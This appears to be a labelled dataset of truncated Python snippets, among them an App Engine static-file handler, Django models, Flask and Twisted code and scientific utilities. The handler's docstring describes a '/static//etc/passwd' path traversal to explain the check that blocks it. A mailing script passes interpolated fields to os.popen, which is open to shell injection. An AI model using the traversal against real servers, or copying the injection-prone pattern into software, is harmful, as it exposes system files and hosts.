defined in PEP-333. start_response: A function with semantics defined in PEP-333. Returns: An iterable over strings containing the body of the HTTP response. """""" data = None if full_path in self._filename_to_mtime_and_etag: last_mtime, etag = self._filename_to_mtime_and_etag[full_path] else: last_mtime = etag = None user_headers = self._url_map.http_headers or appinfo.HttpHeadersDict() if_match = environ.get('HTTP_IF_MATCH') if_none_match = environ.get('HTTP_IF_NONE_MATCH') try: mtime = os.path.getmtime(full_path) except (OSError, IOError) as e: # RFC-2616 section 14.24 says: # If none of the entity tags match, or if ""*"" is given and no current # entity exists, the server MUST NOT perform the requested method, and # MUST return a 412 (Precondition Failed) response. if if_match: start_response('412 Precondition Failed', []) return [] elif self._url_map.require_matching_file: return None else: return self._handle_io_exception(start_response, e) if mtime != last_mtime: try: data = self._read_file(full_path) except (OSError, IOError) as e: return self._handle_io_exception(start_response, e) etag = self._calculate_etag(data) self._filename_to_mtime_and_etag[full_path] = mtime, etag if if_match and not self._check_etag_match(if_match, etag, allow_weak_match=False): # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.24 start_response('412 Precondition Failed', [('ETag', '""%s""' % etag)]) return [] elif if_none_match and self._check_etag_match(if_none_match, etag, allow_weak_match=True): # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.26 start_response('304 Not Modified', [('ETag', '""%s""' % etag)]) return [] else: if data is None: try: data = self._read_file(full_path) except (OSError, IOError) as e: return self._handle_io_exception(start_response, e) etag = self._calculate_etag(data) self._filename_to_mtime_and_etag[full_path] = mtime, etag headers = [('Content-length', str(len(data)))] if user_headers.Get('Content-type') is None: headers.append(('Content-type', self._get_mime_type(full_path))) if user_headers.Get('ETag') is None: headers.append(('ETag', '""%s""' % etag)) if user_headers.Get('Expires') is None: headers.append(('Expires', 'Fri, 01 Jan 1990 00:00:00 GMT')) if user_headers.Get('Cache-Control') is None: headers.append(('Cache-Control', 'no-cache')) for name, value in user_headers.iteritems(): # ""name"" will always be unicode due to the way that ValidatedDict works. headers.append((str(name), value)) start_response('200 OK', headers) if environ['REQUEST_METHOD'] == 'HEAD': return [] else: return [data] @staticmethod def _read_file(full_path): with open(full_path, 'rb') as f: return f.read() @staticmethod def _check_etag_match(etag_headers, etag, allow_weak_match): """"""Checks if an etag header matches a given etag. Args: etag_headers: A string representing an e-tag header value e.g. '""xyzzy"", ""r2d2xxxx"", W/""c3piozzzz""' or '*'. etag: The etag to match the header to. If None then only the '*' header with match. allow_weak_match: If True then weak etags are allowed to match. Returns: True if there is a match, False otherwise. """""" # From RFC-2616: # entity-tag = [ weak ] opaque-tag # weak = ""W/"" # opaque-tag = quoted-string # quoted-string = ( <""> *(qdtext | quoted-pair ) <""> ) # qdtext = > # quoted-pair = ""\"" CHAR # TEXT = # CHAR = # This parsing is not actually correct since it assumes that commas cannot # appear in etags. But the generated etags do not contain commas so this # still works. for etag_header in etag_headers.split(','): if etag_header.startswith('W/'): if allow_weak_match: etag_header = etag_header[2:] else: continue etag_header = etag_header.strip().strip('""') if etag_header == '*' or etag_header == etag: return True return False @staticmethod def _is_relative_path_valid(path): """"""Check if the relative path for a file is valid. To match prod, redirection logic only fires on paths that contain a . or .. as an entry, but ignores redundant separators. Since Dev App Server simply passes the path to open, redundant separators are ignored (i.e. path/to/file and path//to///file both map to the same thing). Since prod uses logic that treats redundant separators as significant, we need to handle them specially. A related problem is that if a redundant separator is placed as the file relative path, it can be passed to a StaticHandler as an absolute path. As os.path.join causes an absolute path to throw away previous components that could allow an attacker to read any file on the file system (i.e. if there a static directory handle for /static and an attacker asks for the path '/static//etc/passwd', '/etc/passwd' is passed as the relative path and calling os.path.join([root_dir, '/etc/passwd']) returns '/etc/passwd'.) Args: path: a path relative to a static handler base. Returns: bool indicating whether the path is valid or not. """""" # Note: can't do something like path == os.path.normpath(path) as Windows # would normalize separators to backslashes. return not os.path.isabs(path) and '' not in path.split('/') @staticmethod def _not_found_404(environ, start_response): status = httplib.NOT_FOUND start_response('%d %s' % (status, httplib.responses[status]), [('Content-Type', 'text/plain')]) return ['%s not found' % environ['PATH_INFO']] class StaticFilesHandler(StaticContentHandler): """"""Servers content for the ""static_files"" handler. For example: handlers: - url: /(.*)/(.*) static_files: \1/\2 upload: (.*)/(.*) """""" def __init__(self, root_path, url_map): """"""Initializer for StaticFilesHandler. Args: root_path: A string containing the full path of the directory containing the application's app.yaml file. url_map: An appinfo.URLMap instance containing the configuration for this handler. """""" try: url_pattern = re.compile('%s$' % url_map.url) except re.error, e: raise errors.InvalidAppConfigError( 'invalid url %r in static_files handler: %s' % (url_map.url, e)) super(StaticFilesHandler, self).__init__(root_path, url_map, url_pattern) def handle(self, match, environ, start_response): """"""Serves the file content matching the request. Args: match: The re.MatchObject containing the result of matching the URL against this handler's URL pattern. environ: An environ dict for the current request as defined in PEP-333. start_response: A function with semantics defined in PEP-333. Returns: An iterable over strings containing the body of the HTTP response. """""" relative_path = match.expand(self._url_map.static_files) if not self._is_relative_path_valid(relative_path): if self._url_map.require_matching_file: return None else: return self._not_found_404(environ, start_response) full_path = os.path.join(self._root_path, relative_path) return self._handle_path(full_path, environ, start_response) class StaticDirHandler(StaticContentHandler): """"""Servers content for the ""static_files"" handler. For example: handlers: - url: /css static_dir: stylesheets """""" def __init__(self, root_path, url_map): """"""Initializer for StaticDirHandler. Args: root_path: A string containing the full path of the directory containing the application's app.yaml file. url_map: An appinfo.URLMap instance containing the configuration for this handler. """""" url = url_map.url # Take a url pattern like ""/css"" and transform it into a match pattern like # ""/css/(?P.*)$"" if url[-1] != '/': url += '/' try: url_pattern = re.compile('%s(?P.*)$' % url) except re.error, e: raise errors.InvalidAppConfigError( 'invalid url %r in static_dir handler: %s' % (url, e)) super(StaticDirHandler, self).__init__(root_path, url_map, url_pattern) def handle(self, match, environ, start_response): """"""Serves the file content matching the request. Args: match: The re.MatchObject containing the result of matching the URL against this handler's URL pattern. environ: An environ dict for the current request as defined in PEP-333. start_response: A function with semantics defined in PEP-333. Returns: An iterable over strings containing the body of the HTTP response. """""" relative_path = match.group('file') if not self._is_relative_path_valid(relative_path): return self._not_found_404(environ, start_response) full_path = os.path.join(self._root_path, self._url_map.static_dir, relative_path) return self._handle_path(full_path, environ, start_response) ",1 "t Election class Person(models.Model): name = models.CharField(blank=False, max_length=255) remote_id = models.CharField(blank=True, max_length=255, null=True) source_url = models.URLField(blank=True, null=True) source_name = models.CharField(blank=True, max_length=100) image_url = models.URLField(blank=True, null=True) elections = models.ManyToManyField(Election) parties = models.ManyToManyField(Party, through='PartyMemberships') constituencies = models.ManyToManyField(Constituency, through='PersonConstituencies') @property def current_party(self): parties = self.partymemberships_set.filter(membership_end=None) if parties: return parties[0] @property def current_election(self): return self.elections.filter(active=True)[0] @property def current_constituency(self): return self.constituencies.filter( personconstituencies__election=self.current_election)[0] def __unicode__(self): return ""%s (%s)"" % (self.name, self.remote_id) class PartyMemberships(models.Model): person = models.ForeignKey(Person) party = models.ForeignKey(Party) membership_start = models.DateField() membership_end = models.DateField(null=True) class PersonConstituencies(models.Model): person = models.ForeignKey(Person) constituency = models.ForeignKey(Constituency) election = models.ForeignKey(Election) ",1 " weblablib import WebLab, requires_active, weblab_user, poll app = Flask(__name__) # XXX: IMPORTANT SETTINGS TO CHANGE app.config['SECRET_KEY'] = 'something random' # e.g., run: os.urandom(32) and put the output here app.config['WEBLAB_USERNAME'] = 'weblabdeusto' # This is the http_username you put in WebLab-Deusto app.config['WEBLAB_PASSWORD'] = 'password' # This is the http_password you put in WebLab-Deusto # XXX You should change... # Use different cookie names for different labs app.config['SESSION_COOKIE_NAME'] = 'lab' # app.config['WEBLAB_UNAUTHORIZED_LINK'] = 'https://weblab.deusto.es/weblab/' # Your own WebLab-Deusto URL # The URL for this lab (e.g., you might have two labs, /lab1 and /lab2 in the same server) app.config['SESSION_COOKIE_PATH'] = '/lab' # The session_id is stored in the Flask session. You might also use a different name app.config['WEBLAB_SESSION_ID_NAME'] = 'lab_session_id' # These are optional parameters # Flask-Debug: don't intercept redirects (go directly) app.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False # app.config['WEBLAB_BASE_URL'] = '' # If you want the weblab path to start by /foo/weblab, you can put '/foo' # app.config['WEBLAB_REDIS_URL'] = 'redis://localhost:6379/0' # default value # app.config['WEBLAB_REDIS_BASE'] = 'lab1' # If you have more than one lab in the same redis database # app.config['WEBLAB_CALLBACK_URL'] = '/lab/public' # If you don't pass it in the creator # app.config['WEBLAB_TIMEOUT'] = 15 # in seconds, default value # app.config['WEBLAB_SCHEME'] = 'https' weblab = WebLab(app, callback_url='/lab/public') toolbar = DebugToolbarExtension(app) @weblab.initial_url def initial_url(): """""" This returns the landing URL (e.g., where the user will be forwarded). """""" return url_for('.lab') @weblab.on_start def on_start(client_data, server_data): """""" In this code, you can do something to setup the experiment. It is called for every user, before they start using it. """""" print(""New user!"") print(weblab_user) @weblab.on_dispose def on_stop(): """""" In this code, you can do something to clean up the experiment. It is guaranteed to be run. """""" print(""User expired. Here you should clean resources"") print(weblab_user) @app.route('/lab/') @requires_active def lab(): """""" This is your code. If you provide @requires_active to any other URL, it is secured. """""" user = weblab_user return ""Hello %s. You didn't poll in %.2f seconds (timeout configured to %s). Total time left: %s"" % (user.username, user.time_without_polling, weblab.timeout, user.time_left) @app.route(""/"") def index(): return ""Access to the lab"".format(url_for('.lab')) if __name__ == '__main__': print(""Run the following:"") print() print("" (optionally) $ export FLASK_DEBUG=1"") print("" $ export FLASK_APP={}"".format(__file__)) print("" $ flask run"") print() ",1 "s, sin, sqrt import auttitude as at import numpy as np def normalized_cross(a, b): """""" Returns the normalized cross product between vectors. Uses numpy.cross(). Parameters: a: First vector. b: Second vector. """""" c = np.cross(a, b) length = sqrt(c.dot(c)) return c/length if length > 0 else c def general_plane_intersection(n_a, da, n_b, db): """""" Returns a point and direction vector for the line of intersection of two planes in space, or None if planes are parallel. Parameters: n_a: Normal vector to plane A da: Point of plane A n_b: Normal vector to plane B db: Point of plane B """""" # https://en.wikipedia.org/wiki/Intersection_curve n_a = np.array(n_a) n_b = np.array(n_b) da = np.array(da) db = np.array(db) l_v = np.cross(n_a, n_b) norm_l = sqrt(np.dot(l_v, l_v)) if norm_l == 0: return None else: l_v /= norm_l aa = np.dot(n_a, n_a) bb = np.dot(n_b, n_b) ab = np.dot(n_a, n_b) d_ = 1./(aa*bb - ab*ab) l_0 = (da*bb - db*ab)*d_*n_a + (db*aa - da*ab)*d_*n_b return l_v, l_0 def small_circle_intersection(axis_a, angle_a, axis_b, angle_b): """""" Finds the intersection between two small-circles returning zero, one or two solutions as tuple. Parameters: axis_a: Vector defining first circle axis angle_a: Small circle aperture angle (in radians) around axis_a axis_b: Vector defining second circle axis angle_b: Small circle aperture angle (in radians) around axis_b """""" line = general_plane_intersection(axis_a, cos(angle_a), axis_b, cos(angle_b)) if line is None: return () l_v, l_0 = line # https://en.wikipedia.org/wiki/Line%E2%80%93sphere_intersection b = 2*l_v.dot(l_0) delta = b*b - 4*(l_0.dot(l_0) - 1) # Should the answers be normalized? if delta < 0: return () elif delta == 0: return -b/2., else: sqrt_delta = sqrt(delta) return l_0 + l_v*(-b - sqrt_delta)/2., l_0 + l_v*(-b + sqrt_delta)/2. def build_rotation_matrix(azim, plng, rake): """""" Returns the rotation matrix that rotates the North vector to the line given by Azimuth and Plunge and East and Up vectors are rotate clock-wise by Rake around the rotated North vector. Parameters: azim: Line Azimuth from North (degrees). plng: Line Plunge measured from horizontal (degrees). rake: Rotation angle around rotated axis (degrees). """""" # pylint: disable=bad-whitespace azim, plng, rake = radians(azim), radians(plng), radians(rake) R1 = np.array((( cos(rake), 0., sin(rake)), ( 0., 1., 0. ), (-sin(rake), 0., cos(rake)))) R2 = np.array((( 1., 0., 0. ), ( 0., cos(plng), sin(plng)), ( 0., -sin(plng), cos(plng)))) R3 = np.array((( cos(azim), sin(azim), 0. ), (-sin(azim), cos(azim), 0. ), ( 0., 0., 1. ))) return R3.dot(R2).dot(R1) def adjust_lines_to_planes(lines, planes): """""" Project each given line to it's respective plane. Returns the projected lines as a new LineSet and the angle (in radians) between each line and plane prior to projection. Parameters: lines: A LineSet like object with an array of n Lines planes: A PlaseSet like object with an array of n Planes """""" lines = at.LineSet(lines) planes = at.PlaneSet(planes) angles = np.zeros(len(lines)) adjusted_lines = np.zeros_like(lines) for i, (line, plane) in enumerate(zip(lines, planes)): cos_theta = np.dot(line, plane) angles[i] = pi/2. - acos(cos_theta) adjusted_line = line - line*cos_theta adjusted_lines[i] = adjusted_line/sqrt(np.dot(adjusted_line, adjusted_line)) return adjusted_lines, angles ",1 "menta, Inc. Unless you have an agreement # with Numenta, Inc., for a separate license for this software code, the # following terms and conditions apply: # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see http://www.gnu.org/licenses. # # http://numenta.org/licenses/ # ---------------------------------------------------------------------- """""" Metric class used in monitor mixin framework. """""" import numpy class Metric(object): """""" A metric computed over a set of data (usually from a `CountsTrace`). """""" def __init__(self, monitor, title, data): """""" @param monitor (MonitorMixinBase) Monitor Mixin instance that generated this trace @param title (string) Title @param data (list) List of numbers to compute metric from """""" self.monitor = monitor self.title = title self.min = None self.max = None self.sum = None self.mean = None self.standardDeviation = None self._computeStats(data) @staticmethod def createFromTrace(trace, excludeResets=None): data = list(trace.data) if excludeResets is not None: data = [x for i, x in enumerate(trace.data) if not excludeResets.data[i]] return Metric(trace.monitor, trace.title, data) def copy(self): metric = Metric(self.monitor, self.title, []) metric.min = self.min metric.max = self.max metric.sum = self.sum metric.mean = self.mean metric.standardDeviation = self.standardDeviation return metric def prettyPrintTitle(self): return (""[{0}] {1}"".format(self.monitor.mmName, self.title) if self.monitor.mmName is not None else self.title) def _computeStats(self, data): if not len(data): return self.min = min(data) self.max = max(data) self.sum = sum(data) self.mean = numpy.mean(data) self.standardDeviation = numpy.std(data) def getStats(self, sigFigs=7): if self.mean is None: return [None, None, None, None, None] return [round(self.mean, sigFigs), round(self.standardDeviation, sigFigs), round(self.min, sigFigs), round(self.max, sigFigs), round(self.sum, sigFigs)] ",1 " division, print_function) import logging from django.core.management.base import BaseCommand from optparse import make_option from py3compat import PY2 from snisi_core.models.Entities import AdministrativeEntity as AEntity if PY2: import unicodecsv as csv else: import csv logger = logging.getLogger(__name__) class Command(BaseCommand): option_list = BaseCommand.option_list + ( make_option('-f', help='CSV file', action='store', dest='filename'), ) def handle(self, *args, **options): headers = ['name', 'region', 'cercle_commune', 'commune_quartier'] f = open(options.get('filename'), 'w') csv_writer = csv.DictWriter(f, fieldnames=headers) csv_writer.writeheader() csv_writer.writerow({ 'name': ""label"", 'region': ""Région"", 'cercle_commune': ""Cercle"", 'commune_quartier': ""Commune"", }) for region in AEntity.objects.filter(type__slug='region'): logger.info(region) is_bko = region.name == 'BAMAKO' for cercle in AEntity.objects.filter(parent=region): logger.info(cercle) for commune in AEntity.objects.filter(parent=cercle): logger.info(commune) if not is_bko: csv_writer.writerow({ 'name': ""choice_label"", 'region': region.name, 'cercle_commune': cercle.name, 'commune_quartier': commune.name }) continue for vfq in AEntity.objects.filter(parent=commune): for v in (region, cercle, commune, vfq): if not len(v.name.strip()): continue csv_writer.writerow({ 'name': ""choice_label"", 'region': region.name, 'cercle_commune': commune.name, 'commune_quartier': vfq.name }) f.close() ",1 "t get_template from workshops.models import Badge, Person, Role logger = logging.getLogger() class Command(BaseCommand): help = 'Report instructors activity.' def add_arguments(self, parser): parser.add_argument( '--send-out-for-real', action='store_true', default=False, help='Send information to the instructors.', ) parser.add_argument( '--no-may-contact-only', action='store_true', default=False, help='Include instructors not willing to be contacted.', ) parser.add_argument( '--django-mailing', action='store_true', default=False, help='Use Django mailing system. This requires some environmental ' 'variables to be set, see `settings.py`.', ) parser.add_argument( '-s', '--sender', action='store', default='workshops@carpentries.org', help='E-mail used in ""from:"" field.', ) def foreign_tasks(self, tasks, person, roles): """"""List of other instructors' tasks, per event."""""" return [ task.event.task_set.filter(role__in=roles) .exclude(person=person) .select_related('person') for task in tasks ] def fetch_activity(self, may_contact_only=True): roles = Role.objects.filter(name__in=['instructor', 'helper']) instructor_badges = Badge.objects.instructor_badges() instructors = Person.objects.filter(badges__in=instructor_badges) instructors = instructors.exclude(email__isnull=True) if may_contact_only: instructors = instructors.exclude(may_contact=False) # let's get some things faster instructors = instructors.select_related('airport') \ .prefetch_related('task_set', 'lessons', 'award_set', 'badges') # don't repeat the records instructors = instructors.distinct() result = [] for person in instructors: tasks = person.task_set.filter(role__in=roles) \ .select_related('event', 'role') record = { 'person': person, 'lessons': person.lessons.all(), 'instructor_awards': person.award_set.filter( badge__in=person.badges.instructor_badges() ), 'tasks': zip(tasks, self.foreign_tasks(tasks, person, roles)), } result.append(record) return result def make_message(self, record): tmplt = get_template('mailing/instructor_activity.txt') return tmplt.render(context=record) def subject(self, record): # in future we can vary the subject depending on the record details return 'Updating your Software Carpentry information' def recipient(self, record): return record['person'].email def send_message(self, subject, message, sender, recipient, for_real=False, django_mailing=False): if for_real: if django_mailing: send_mail(subject, message, sender, [recipient]) else: command = 'mail -s ""{subject}"" -r {sender} {recipient}'.format( subject=subject, sender=sender, recipient=recipient, ) writer = os.popen(command, 'w') writer.write(message) writer.close() if self.verbosity >= 2: # write only a header self.stdout.write('-' * 40 + '\n') self.stdout.write('To: {}\n'.format(recipient)) self.stdout.write('Subject: {}\n'.format(subject)) self.stdout.write('From: {}\n'.format(sender)) if self.verbosity >= 3: # write whole message out self.stdout.write(message + '\n') def handle(self, *args, **options): # default is dummy run - only actually send mail if told to send_for_real = options['send_out_for_real'] # by default include only instructors who have `may_contact==True` no_may_contact_only = options['no_may_contact_only'] # use mailing options from settings.py or the `mail` system command? django_mailing = options['django_mailing'] # verbosity option is added by Django self.verbosity = int(options['verbosity']) sender = options['sender'] results = self.fetch_activity(not no_may_contact_only) for result in results: message = self.make_message(result) subject = self.subject(result) recipient = self.recipient(result) self.send_message(subject, message, sender, recipient, for_real=send_for_real, django_mailing=django_mailing) if self.verbosity >= 1: self.stdout.write('Sent {} emails.\n'.format(len(results))) ",1 " current and the previous # image against each other. Note that only rotation/scale is # handled - not X and Y translation in this mode. # # However, this examples goes beyond doing optical flow on the whole # image at once. Instead it breaks up the process by working on groups # of pixels in the image. This gives you a ""new"" image of results. # # NOTE that surfaces need to have some type of ""edge"" on them for the # algorithm to work. A featureless surface produces crazy results. # NOTE: Unless you have a very nice test rig this example is hard to see usefulness of... BLOCK_W = 16 # pow2 BLOCK_H = 16 # pow2 # To run this demo effectively please mount your OpenMV Cam on a steady # base and SLOWLY rotate the camera around the lens and move the camera # forward/backwards to see the numbers change. # I.e. Z direction changes only. import sensor, image, time, math # NOTE!!! You have to use a small power of 2 resolution when using # find_displacement(). This is because the algorithm is powered by # something called phase correlation which does the image comparison # using FFTs. A non-power of 2 resolution requires padding to a power # of 2 which reduces the usefulness of the algorithm results. Please # use a resolution like B128X128 or B128X64 (2x faster). # Your OpenMV Cam supports power of 2 resolutions of 64x32, 64x64, # 128x64, and 128x128. If you want a resolution of 32x32 you can create # it by doing ""img.pool(2, 2)"" on a 64x64 image. sensor.reset() # Reset and initialize the sensor. sensor.set_pixformat(sensor.GRAYSCALE) # Set pixel format to GRAYSCALE (or RGB565) sensor.set_framesize(sensor.B128X128) # Set frame size to 128x128... (or 128x64)... sensor.skip_frames(time = 2000) # Wait for settings take effect. clock = time.clock() # Create a clock object to track the FPS. # Take from the main frame buffer's RAM to allocate a second frame buffer. # There's a lot more RAM in the frame buffer than in the MicroPython heap. # However, after doing this you have a lot less RAM for some algorithms... # So, be aware that it's a lot easier to get out of RAM issues now. extra_fb = sensor.alloc_extra_fb(sensor.width(), sensor.height(), sensor.GRAYSCALE) extra_fb.replace(sensor.snapshot()) while(True): clock.tick() # Track elapsed milliseconds between snapshots(). img = sensor.snapshot() # Take a picture and return the image. for y in range(0, sensor.height(), BLOCK_H): for x in range(0, sensor.width(), BLOCK_W): displacement = extra_fb.find_displacement(img, logpolar=True, \ roi = (x, y, BLOCK_W, BLOCK_H), template_roi = (x, y, BLOCK_W, BLOCK_H)) # Below 0.1 or so (YMMV) and the results are just noise. if(displacement.response() > 0.1): rotation_change = displacement.rotation() zoom_amount = 1.0 + displacement.scale() pixel_x = x + (BLOCK_W//2) + int(math.sin(rotation_change) * zoom_amount * (BLOCK_W//4)) pixel_y = y + (BLOCK_H//2) + int(math.cos(rotation_change) * zoom_amount * (BLOCK_H//4)) img.draw_line((x + BLOCK_W//2, y + BLOCK_H//2, pixel_x, pixel_y), \ color = 255) else: img.draw_line((x + BLOCK_W//2, y + BLOCK_H//2, x + BLOCK_W//2, y + BLOCK_H//2), \ color = 0) extra_fb.replace(img) print(clock.fps()) ",1 " provided by inetd, or are not provided at all. """""" from __future__ import absolute_import, division import time import struct from zope.interface import implementer from twisted.internet import protocol, interfaces from twisted.python.compat import _PY3 class Echo(protocol.Protocol): """"""As soon as any data is received, write it back (RFC 862)"""""" def dataReceived(self, data): self.transport.write(data) class Discard(protocol.Protocol): """"""Discard any received data (RFC 863)"""""" def dataReceived(self, data): # I'm ignoring you, nyah-nyah pass @implementer(interfaces.IProducer) class Chargen(protocol.Protocol): """"""Generate repeating noise (RFC 864)"""""" noise = r'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !""#$%&?' def connectionMade(self): self.transport.registerProducer(self, 0) def resumeProducing(self): self.transport.write(self.noise) def pauseProducing(self): pass def stopProducing(self): pass class QOTD(protocol.Protocol): """"""Return a quote of the day (RFC 865)"""""" def connectionMade(self): self.transport.write(self.getQuote()) self.transport.loseConnection() def getQuote(self): """"""Return a quote. May be overrriden in subclasses."""""" return ""An apple a day keeps the doctor away.\r\n"" class Who(protocol.Protocol): """"""Return list of active users (RFC 866)"""""" def connectionMade(self): self.transport.write(self.getUsers()) self.transport.loseConnection() def getUsers(self): """"""Return active users. Override in subclasses."""""" return ""root\r\n"" class Daytime(protocol.Protocol): """"""Send back the daytime in ASCII form (RFC 867)"""""" def connectionMade(self): self.transport.write(time.asctime(time.gmtime(time.time())) + '\r\n') self.transport.loseConnection() class Time(protocol.Protocol): """"""Send back the time in machine readable form (RFC 868)"""""" def connectionMade(self): # is this correct only for 32-bit machines? result = struct.pack(""!i"", int(time.time())) self.transport.write(result) self.transport.loseConnection() __all__ = [""Echo"", ""Discard"", ""Chargen"", ""QOTD"", ""Who"", ""Daytime"", ""Time""] if _PY3: __all3__ = [""Echo""] for name in __all__[:]: if name not in __all3__: __all__.remove(name) del globals()[name] del name, __all3__ ",1 "rom models.portfolio import Portfolio from models.company import Company from models.position import Position import tenjin from tenjin.helpers import * import wikipedia import matplotlib.pyplot as plt from data_helpers import * from stock_data import * import BeautifulSoup as bs import urllib2 import re from datetime import date as dt engine = tenjin.Engine(path=['templates']) # info fetch handler def send_info_handler(bot, update, args): args = list(parse_args(args)) if len(args) == 0 or ""portfolio"" in [arg.lower() for arg in args] : send_portfolio_info(bot, update) else: info_companies = get_companies(args) send_companies_info(bot, update, info_companies) # get portfolio function def send_portfolio_info(bot, update): print ""Userid: %d requested portfolio information"" %(update.message.chat_id) context = { 'positions': Portfolio.instance.positions, 'wallet_value': Portfolio.instance.wallet_value, } html_str = engine.render('portfolio_info.pyhtml', context) bot.sendMessage(parse_mode=""HTML"", chat_id=update.message.chat_id, text=html_str) # get companies information def send_companies_info(bot, update, companies): print ""Userid: requested information for following companies %s"" %','.join([c.name for c in companies]) for company in companies: context = { 'company': company, 'current_price': get_current_price(company), 'description': wikipedia.summary(company.name.split()[0], sentences=2) } wiki_page = wikipedia.page(company.name.split()[0]) html_page = urllib2.urlopen(wiki_page.url) soup = bs.BeautifulSoup(html_page) img_url = 'http:' + soup.find('td', { ""class"" : ""logo"" }).find('img')['src'] bot.sendPhoto(chat_id=update.message.chat_id, photo=img_url) html_str = engine.render('company_template.pyhtml', context) bot.sendMessage(parse_mode=""HTML"", chat_id=update.message.chat_id, text=html_str) symbols = [c.symbol for c in companies] if len(symbols) >= 2: symbol_string = "", "".join(symbols[:-1]) + "" and "" + symbols[-1] else: symbol_string = symbols[0] last_n_days = 10 if len(companies) < 4: create_graph(companies, last_n_days) history_text = ''' Here's the price history for {} for the last {} days '''.format(symbol_string, last_n_days) bot.sendMessage(chat_id=update.message.chat_id, text=history_text) bot.sendPhoto(chat_id=update.message.chat_id, photo=open(""plots/temp.png"",'rb')) def create_graph(companies, timedel): fig, ax = plt.subplots() for company in companies: dates, lookback_prices = get_lookback_prices(company, timedel) # dates = [i.strftime('%d/%m') for i in dates] h = ax.plot(dates, lookback_prices, label=company.symbol) ax.legend() plt.xticks(rotation=45) plt.savefig('plots/temp.png') ",1 "f.config = ConfigReader("""""" 山田 15 佐藤 43 """""") def test_get_names(self): self.assertEqual(self.config.get_names(), ['山田', '佐藤']) def test_get_ages(self): self.assertEqual(self.config.get_ages(), ['15', '43']) ",1 "incremented by 1. If the string does not end with a number the number 1 should be appended to the new string. Examples: foo -> foo1 foobar23 -> foobar24 foo0042 -> foo0043 foo9 -> foo10 foo099 -> foo100 Attention: If the number has leading zeros the amount of digits should be considered. """""" import re def increment_string(strng): match = re.match(r""(.*?)(\d*)$"",strng) string = match.group(1) number = match.group(2) if not number: return string + '1' else: return string + str(int(number)+1).zfill(len(number)) ",1 "th=100) bio = models.TextField() rank = models.IntegerField() class Meta: ordering = ('name',) class Song(models.Model): band = models.ForeignKey(Band) name = models.CharField(max_length=100) duration = models.IntegerField() other_interpreters = models.ManyToManyField(Band, related_name='covers') class Meta: ordering = ('name',) class SongInlineDefaultOrdering(admin.StackedInline): model = Song class SongInlineNewOrdering(admin.StackedInline): model = Song ordering = ('duration', ) class DynOrderingBandAdmin(admin.ModelAdmin): def get_ordering(self, request): if request.user.is_superuser: return ['rank'] else: return ['name'] ",1 " from classes import CRONTask # Generate a thread pool executor = ThreadPoolExecutor(5) app = Flask( __name__ ) @app.route( ""/"" ) def index( ) : return ""View Generator Service is Active!"" @app.route( ""/View"" ) def view( ) : executor.submit(runTask) return """" def runTask( ) : cron = CRONTask.CRONTask( ) cron.run( ) cron.killPID( ) sys.exit(0) if __name__ == '__main__' : app.run( debug=True, port=Config.PORT, host=Config.HOST )",1 "n redistribute it and/or modify it under the # terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # satpy is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with # satpy. If not, see . """"""Fetch avhrr calibration coefficients."""""" import datetime as dt import os.path import sys import h5py import urllib2 BASE_URL = ""http://www.star.nesdis.noaa.gov/smcd/spb/fwu/homepage/"" + \ ""AVHRR/Op_Cal_AVHRR/"" URLS = { ""Metop-B"": {""ch1"": BASE_URL + ""Metop1_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""Metop1_AVHRR_Libya_ch2.txt"", ""ch3a"": BASE_URL + ""Metop1_AVHRR_Libya_ch3a.txt""}, ""Metop-A"": {""ch1"": BASE_URL + ""Metop2_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""Metop2_AVHRR_Libya_ch2.txt"", ""ch3a"": BASE_URL + ""Metop2_AVHRR_Libya_ch3a.txt""}, ""NOAA-16"": {""ch1"": BASE_URL + ""N16_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""N16_AVHRR_Libya_ch2.txt""}, ""NOAA-17"": {""ch1"": BASE_URL + ""N17_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""N17_AVHRR_Libya_ch2.txt"", ""ch3a"": BASE_URL + ""N17_AVHRR_Libya_ch3a.txt""}, ""NOAA-18"": {""ch1"": BASE_URL + ""N18_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""N18_AVHRR_Libya_ch2.txt""}, ""NOAA-19"": {""ch1"": BASE_URL + ""N19_AVHRR_Libya_ch1.txt"", ""ch2"": BASE_URL + ""N19_AVHRR_Libya_ch2.txt""} } def get_page(url): """"""Retrieve the given page."""""" return urllib2.urlopen(url).read() def get_coeffs(page): """"""Parse coefficients from the page."""""" coeffs = {} coeffs['datetime'] = [] coeffs['slope1'] = [] coeffs['intercept1'] = [] coeffs['slope2'] = [] coeffs['intercept2'] = [] slope1_idx, intercept1_idx, slope2_idx, intercept2_idx = \ None, None, None, None date_idx = 0 for row in page.lower().split('\n'): row = row.split() if len(row) == 0: continue if row[0] == 'update': # Get the column indices from the header line slope1_idx = row.index('slope_lo') intercept1_idx = row.index('int_lo') slope2_idx = row.index('slope_hi') intercept2_idx = row.index('int_hi') continue if slope1_idx is None: continue # In some cases the fields are connected, skip those rows if max([slope1_idx, intercept1_idx, slope2_idx, intercept2_idx]) >= len(row): continue try: dat = dt.datetime.strptime(row[date_idx], ""%m/%d/%Y"") except ValueError: continue coeffs['datetime'].append([dat.year, dat.month, dat.day]) coeffs['slope1'].append(float(row[slope1_idx])) coeffs['intercept1'].append(float(row[intercept1_idx])) coeffs['slope2'].append(float(row[slope2_idx])) coeffs['intercept2'].append(float(row[intercept2_idx])) return coeffs def get_all_coeffs(): """"""Get all available calibration coefficients for the satellites."""""" coeffs = {} for platform in URLS: if platform not in coeffs: coeffs[platform] = {} for chan in URLS[platform].keys(): url = 